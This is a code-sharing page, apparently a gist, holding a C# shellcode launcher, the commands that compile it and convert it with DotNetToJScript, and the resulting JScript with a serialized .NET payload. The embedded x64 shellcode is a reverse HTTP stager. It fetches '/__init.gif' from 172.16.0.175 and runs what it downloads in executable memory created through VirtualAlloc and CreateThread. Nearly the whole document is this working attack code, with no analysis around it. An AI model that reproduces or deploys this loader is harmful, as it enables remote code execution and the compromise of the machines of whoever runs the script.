Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Tools\shellcodeLauncher.cs
2. DotNetToJScript.exe --lang=JScript --ver=v4 -c ShellCodeLauncher.Program C:\Tools\shellcodeLauncher.dll
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
*/
namespace ShellCodeLauncher
{
public class Program
{
static void Main()
{
byte[] shellcode = new byte[891] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x60,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x5f,0x5f,0x69,0x6e,0x69,0x74,0x2e,0x67,0x69,0x66,0x00,0x08,0x79,0xef,0xf6,0xe9,0x17,0x95,0xc8,0x60,0x55,0x7b,0x71,0x3e,0x44,0x9e,0xd1,0x70,0x02,0x70,0x91,0xed,0x08,0x95,0x0f,0xf1,0xf5,0xaf,0x5e,0x3e,0x07,0xf1,0xe8,0x0f,0x83,0x3b,0xbb,0x57,0xe1,0xca,0xca,0x43,0x18,0x56,0xa1,0xc8,0xb7,0x2a,0x78,0x17,0x00,0x23,0x07,0x76,0xf8,0x45,0xc4,0x3c,0x19,0x25,0xa8,0x7e,0x95,0xe5,0x40,0x80,0x56,0xe7,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x39,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x69,0x6e,0x36,0x34,0x3b,0x20,0x78,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x35,0x2e,0x30,0x3b,0x20,0x4e,0x50,0x30,0x36,0x29,0x0d,0x0a,0x00,0xf4,0x0c,0x55,0xa6,0x2a,0x18,0x37,0xd6,0x41,0xac,0x9c,0x6b,0xd1,0x93,0xd3,0xef,0x9d,0xea,0xd2,0xd9,0xfd,0x6a,0xf6,0x8f,0xde,0xf6,0x20,0x2a,0x5c,0xde,0xde,0xde,0xf2,0x77,0x1f,0x1d,0xac,0xd7,0x00,0xbf,0xdb,0x97,0x12,0x63,0xbd,0xe0,0x38,0xca,0x33,0x89,0xe3,0xbf,0x9d,0xb1,0xf3,0x21,0xa8,0x35,0x7e,0x5b,0x1d,0xc0,0x0a,0xd7,0xed,0x28,0x0e,0x7d,0xad,0xfe,0x61,0xb2,0x96,0xfa,0x5d,0xb6,0x6f,0x01,0x71,0x2b,0x68,0x12,0xbe,0x3c,0xbd,0xee,0x5c,0xde,0xde,0x4e,0xf1,0x7d,0x62,0x1d,0x3a,0xca,0x0c,0xac,0x61,0xda,0x78,0x26,0x80,0xa5,0xba,0x96,0x69,0xf2,0x98,0x61,0xa8,0x88,0xce,0xdc,0x93,0x6b,0x37,0x57,0xc4,0xb2,0x8a,0xfa,0x49,0xc7,0xa1,0xcf,0xcb,0xaf,0x7b,0x0c,0xf3,0x23,0x18,0xca,0x91,0xf2,0x17,0xa2,0xfb,0xc1,0xd0,0xfb,0xe5,0x37,0x1a,0xae,0xbe,0x79,0xea,0x1a,0x3e,0xa7,0xa3,0x9c,0xda,0x3c,0x2f,0x77,0x0a,0x7b,0x95,0xc1,0xab,0x1d,0x33,0x72,0xaa,0x64,0x11,0xb3,0xc3,0xdb,0x52,0xee,0x4d,0x08,0x26,0x49,0x1c,0xea,0x36,0x66,0x5a,0xb1,0x19,0x95,0x4b,0x84,0x19,0xd2,0x67,0xa7,0x59,0x25,0xcf,0x4b,0x13,0xe2,0x87,0x7f,0x9f,0x58,0xe9,0xbb,0x70,0xf3,0xda,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x28,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x36,0x2e,0x30,0x2e,0x31,0x37,0x35,0x00,0x62,0x55,0x41,0x4a};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {
}
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,
83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,
121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,
116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,
104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,
116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,
68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,
101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,
101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,
48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,
101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,
9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,
68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,
97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,
97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,
108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,
116,101,69,110,116,114,121,2,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,
114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,
4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,
110,97,116,117,114,101,10,77,101,109,98,101,114,84,121,112,101,16,71,101,110,101,114,105,99,65,114,103,117,109,101,110,
116,115,1,1,1,1,0,3,8,13,83,121,115,116,101,109,46,84,121,112,101,91,93,9,10,0,0,0,9,6,0,0,
0,9,9,0,0,0,6,17,0,0,0,44,83,121,115,116,101,109,46,79,98,106,101,99,116,32,68,121,110,97,109,105,
99,73,110,118,111,107,101,40,83,121,115,116,101,109,46,79,98,106,101,99,116,91,93,41,8,0,0,0,10,1,11,0,
0,0,2,0,0,0,6,18,0,0,0,32,83,121,115,116,101,109,46,88,109,108,46,83,99,104,101,109,97,46,88,109,
108,86,97,108,117,101,71,101,116,116,101,114,6,19,0,0,0,77,83,121,115,116,101,109,46,88,109,108,44,32,86,101,
114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,
80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,
20,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,22,0,0,0,26,83,121,115,116,101,109,46,82,101,
102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,6,23,0,0,0,4,76,111,97,100,10,15,12,0,0,
0,0,20,0,0,2,77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,
32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,
0,0,0,0,0,0,80,69,0,0,76,1,3,0,253,236,245,90,0,0,0,0,0,0,0,0,224,0,2,33,11,1,
11,0,0,12,0,0,0,6,0,0,0,0,0,0,222,42,0,0,0,32,0,0,0,64,0,0,0,0,0,16,0,32,
0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,128,0,0,0,2,0,0,0,0,
0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,
0,0,0,0,0,0,140,42,0,0,79,0,0,0,0,64,0,0,200,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,96,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,
0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,
101,120,116,0,0,0,228,10,0,0,0,32,0,0,0,12,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,32,0,0,96,46,114,115,114,99,0,0,0,200,2,0,0,0,64,0,0,0,4,0,0,0,14,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,
0,0,0,18,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,192,42,0,0,0,0,0,0,72,0,0,0,2,0,5,0,88,36,0,0,52,6,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,252,72,131,228,240,232,200,0,0,0,
65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,
77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,
72,1,208,102,129,120,24,11,2,117,114,139,128,136,0,0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,
32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,
117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1,208,
65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,
72,139,18,233,79,255,255,255,93,106,0,73,190,119,105,110,105,110,101,116,0,65,86,73,137,230,76,137,241,65,186,76,
119,38,7,255,213,72,49,201,72,49,210,77,49,192,77,49,201,65,80,65,80,65,186,58,86,121,167,255,213,235,115,90,
72,137,193,65,184,80,0,0,0,77,49,201,65,81,65,81,106,3,65,81,65,186,87,137,159,198,255,213,235,89,91,72,
137,193,72,49,210,73,137,216,77,49,201,82,104,0,2,96,132,82,82,65,186,235,85,46,59,255,213,72,137,198,72,131,
195,80,106,10,95,72,137,241,72,137,218,73,199,192,255,255,255,255,77,49,201,82,82,65,186,45,6,24,123,255,213,133,
192,15,133,157,1,0,0,72,255,207,15,132,140,1,0,0,235,211,233,228,1,0,0,232,162,255,255,255,47,95,95,105,
110,105,116,46,103,105,102,0,8,121,239,246,233,23,149,200,96,85,123,113,62,68,158,209,112,2,112,145,237,8,149,15,
241,245,175,94,62,7,241,232,15,131,59,187,87,225,202,202,67,24,86,161,200,183,42,120,23,0,35,7,118,248,69,196,
60,25,37,168,126,149,229,64,128,86,231,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,
53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,83,73,69,32,57,46,48,59,32,87,105,110,100,111,
119,115,32,78,84,32,54,46,49,59,32,87,105,110,54,52,59,32,120,54,52,59,32,84,114,105,100,101,110,116,47,53,
46,48,59,32,78,80,48,54,41,13,10,0,244,12,85,166,42,24,55,214,65,172,156,107,209,147,211,239,157,234,210,217,
253,106,246,143,222,246,32,42,92,222,222,222,242,119,31,29,172,215,0,191,219,151,18,99,189,224,56,202,51,137,227,191,
157,177,243,33,168,53,126,91,29,192,10,215,237,40,14,125,173,254,97,178,150,250,93,182,111,1,113,43,104,18,190,60,
189,238,92,222,222,78,241,125,98,29,58,202,12,172,97,218,120,38,128,165,186,150,105,242,152,97,168,136,206,220,147,107,
55,87,196,178,138,250,73,199,161,207,203,175,123,12,243,35,24,202,145,242,23,162,251,193,208,251,229,55,26,174,190,121,
234,26,62,167,163,156,218,60,47,119,10,123,149,193,171,29,51,114,170,100,17,179,195,219,82,238,77,8,38,73,28,234,
54,102,90,177,25,149,75,132,25,210,103,167,89,37,207,75,19,226,135,127,159,88,233,187,112,243,218,0,65,190,240,181,
162,86,255,213,72,49,201,186,0,0,64,0,65,184,0,16,0,0,65,185,64,0,0,0,65,186,88,164,83,229,255,213,
72,147,83,83,72,137,231,72,137,241,72,137,218,65,184,0,32,0,0,73,137,249,65,186,18,150,137,226,255,213,72,131,
196,32,133,192,116,182,102,139,7,72,1,195,133,192,117,215,88,88,88,72,5,40,0,0,0,80,195,232,159,253,255,255,
49,55,50,46,49,54,46,48,46,49,55,53,0,98,85,65,74,0,19,48,6,0,101,0,0,0,1,0,0,17,0,32,
123,3,0,0,141,4,0,0,1,37,208,3,0,0,4,40,4,0,0,10,10,22,6,142,105,126,1,0,0,4,126,2,
0,0,4,40,2,0,0,6,11,6,22,7,110,40,5,0,0,10,6,142,105,40,6,0,0,10,0,126,7,0,0,10,
12,22,13,126,7,0,0,10,19,4,22,22,7,17,4,22,18,3,40,3,0,0,6,12,8,21,40,4,0,0,6,38,
43,0,42,74,32,0,16,0,0,128,1,0,0,4,31,64,128,2,0,0,4,42,30,2,40,9,0,0,10,42,66,83,
74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,52,46,48,46,51,48,51,49,57,0,0,0,0,5,0,108,0,
0,0,52,2,0,0,35,126,0,0,160,2,0,0,240,2,0,0,35,83,116,114,105,110,103,115,0,0,0,0,144,5,
0,0,8,0,0,0,35,85,83,0,152,5,0,0,16,0,0,0,35,71,85,73,68,0,0,0,168,5,0,0,140,0,
0,0,35,66,108,111,98,0,0,0,0,0,0,0,2,0,0,1,87,149,2,52,9,2,0,0,0,250,37,51,0,22,
0,0,1,0,0,0,12,0,0,0,4,0,0,0,3,0,0,0,6,0,0,0,12,0,0,0,9,0,0,0,3,0,
0,0,1,0,0,0,1,0,0,0,1,0,0,0,3,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,
0,0,0,0,10,0,1,0,0,0,0,0,6,0,74,0,67,0,6,0,94,1,62,1,6,0,126,1,62,1,6,0,
174,1,67,0,6,0,248,1,62,1,6,0,19,2,67,0,6,0,79,2,62,1,6,0,94,2,67,0,6,0,100,2,
67,0,6,0,135,2,67,0,6,0,185,2,154,2,6,0,203,2,154,2,0,0,0,0,1,0,0,0,0,0,1,0,
1,0,1,0,16,0,32,0,40,0,5,0,1,0,1,0,0,0,0,0,179,1,0,0,5,0,3,0,7,0,19,1,
0,0,29,2,0,0,25,0,4,0,7,0,17,0,86,0,14,0,17,0,97,0,14,0,19,1,59,2,56,0,204,35,
0,0,0,0,145,0,81,0,10,0,1,0,0,0,0,0,128,0,145,32,120,0,17,0,1,0,0,0,0,0,128,0,
145,32,133,0,25,0,5,0,0,0,0,0,128,0,145,32,146,0,36,0,11,0,80,36,0,0,0,0,134,24,166,0,
42,0,13,0,61,36,0,0,0,0,145,24,231,2,10,0,13,0,0,0,1,0,172,0,0,0,2,0,184,0,0,0,
3,0,189,0,0,0,4,0,206,0,0,0,1,0,216,0,0,0,2,0,235,0,0,0,3,0,247,0,0,0,4,0,
6,1,0,0,5,0,12,1,0,0,6,0,28,1,0,0,1,0,39,1,0,0,2,0,47,1,17,0,166,0,46,0,
25,0,166,0,42,0,41,0,166,0,42,0,57,0,119,2,60,0,81,0,142,2,68,0,89,0,193,2,73,0,81,0,
198,2,82,0,97,0,166,0,94,0,9,0,166,0,42,0,46,0,11,0,99,0,46,0,19,0,108,0,99,0,27,0,
51,0,1,0,123,3,0,0,4,0,85,0,222,2,0,1,5,0,120,0,1,0,0,1,7,0,133,0,1,0,0,1,
9,0,146,0,1,0,80,32,0,0,3,0,4,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,156,1,
0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,58,0,0,0,0,0,4,0,3,0,0,0,0,0,0,60,
77,111,100,117,108,101,62,0,115,104,101,108,108,99,111,100,101,76,97,117,110,99,104,101,114,46,100,108,108,0,80,114,
111,103,114,97,109,0,83,104,101,108,108,67,111,100,101,76,97,117,110,99,104,101,114,0,109,115,99,111,114,108,105,98,
0,83,121,115,116,101,109,0,79,98,106,101,99,116,0,77,97,105,110,0,77,69,77,95,67,79,77,77,73,84,0,80,
65,71,69,95,69,88,69,67,85,84,69,95,82,69,65,68,87,82,73,84,69,0,86,105,114,116,117,97,108,65,108,108,
111,99,0,67,114,101,97,116,101,84,104,114,101,97,100,0,87,97,105,116,70,111,114,83,105,110,103,108,101,79,98,106,
101,99,116,0,46,99,116,111,114,0,108,112,83,116,97,114,116,65,100,100,114,0,115,105,122,101,0,102,108,65,108,108,
111,99,97,116,105,111,110,84,121,112,101,0,102,108,80,114,111,116,101,99,116,0,108,112,84,104,114,101,97,100,65,116,
116,114,105,98,117,116,101,115,0,100,119,83,116,97,99,107,83,105,122,101,0,108,112,83,116,97,114,116,65,100,100,114,
101,115,115,0,112,97,114,97,109,0,100,119,67,114,101,97,116,105,111,110,70,108,97,103,115,0,108,112,84,104,114,101,
97,100,73,100,0,104,72,97,110,100,108,101,0,100,119,77,105,108,108,105,115,101,99,111,110,100,115,0,83,121,115,116,
101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,
105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,
105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,115,104,101,108,108,99,
111,100,101,76,97,117,110,99,104,101,114,0,66,121,116,101,0,60,80,114,105,118,97,116,101,73,109,112,108,101,109,101,
110,116,97,116,105,111,110,68,101,116,97,105,108,115,62,123,51,54,54,66,55,66,51,48,45,53,54,51,54,45,52,69,
65,53,45,57,70,51,54,45,65,56,68,54,66,55,68,51,67,54,56,68,125,0,67,111,109,112,105,108,101,114,71,101,
110,101,114,97,116,101,100,65,116,116,114,105,98,117,116,101,0,86,97,108,117,101,84,121,112,101,0,95,95,83,116,97,
116,105,99,65,114,114,97,121,73,110,105,116,84,121,112,101,83,105,122,101,61,56,57,49,0,36,36,109,101,116,104,111,
100,48,120,54,48,48,48,48,48,49,45,49,0,82,117,110,116,105,109,101,72,101,108,112,101,114,115,0,65,114,114,97,
121,0,82,117,110,116,105,109,101,70,105,101,108,100,72,97,110,100,108,101,0,73,110,105,116,105,97,108,105,122,101,65,
114,114,97,121,0,73,110,116,80,116,114,0,111,112,95,69,120,112,108,105,99,105,116,0,83,121,115,116,101,109,46,82,
117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,77,97,114,115,104,97,108,0,67,
111,112,121,0,90,101,114,111,0,68,108,108,73,109,112,111,114,116,65,116,116,114,105,98,117,116,101,0,107,101,114,110,
101,108,51,50,0,46,99,99,116,111,114,0,0,0,0,3,32,0,0,0,0,0,48,123,107,54,54,86,165,78,159,54,
168,214,183,211,198,141,0,8,183,122,92,86,25,52,224,137,3,0,0,1,2,6,9,7,0,4,9,9,9,9,9,10,
0,6,24,9,9,9,24,9,16,9,5,0,2,9,24,9,3,32,0,1,4,32,1,1,8,4,1,0,0,0,3,6,
17,16,7,0,2,1,18,33,17,37,4,0,1,24,10,8,0,4,1,29,5,8,24,8,2,6,24,8,7,5,29,5,
9,24,9,24,4,32,1,1,14,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,
110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,0,180,42,0,0,0,0,0,0,0,0,0,0,206,42,
0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,192,42,0,0,0,0,
0,0,0,0,0,0,0,0,95,67,111,114,68,108,108,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,
0,0,0,0,255,37,0,32,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,16,0,0,0,24,0,0,128,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,72,0,0,0,88,64,0,0,108,2,0,0,0,0,0,0,0,0,0,0,108,2,
52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,
79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,
0,0,0,0,0,0,4,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,
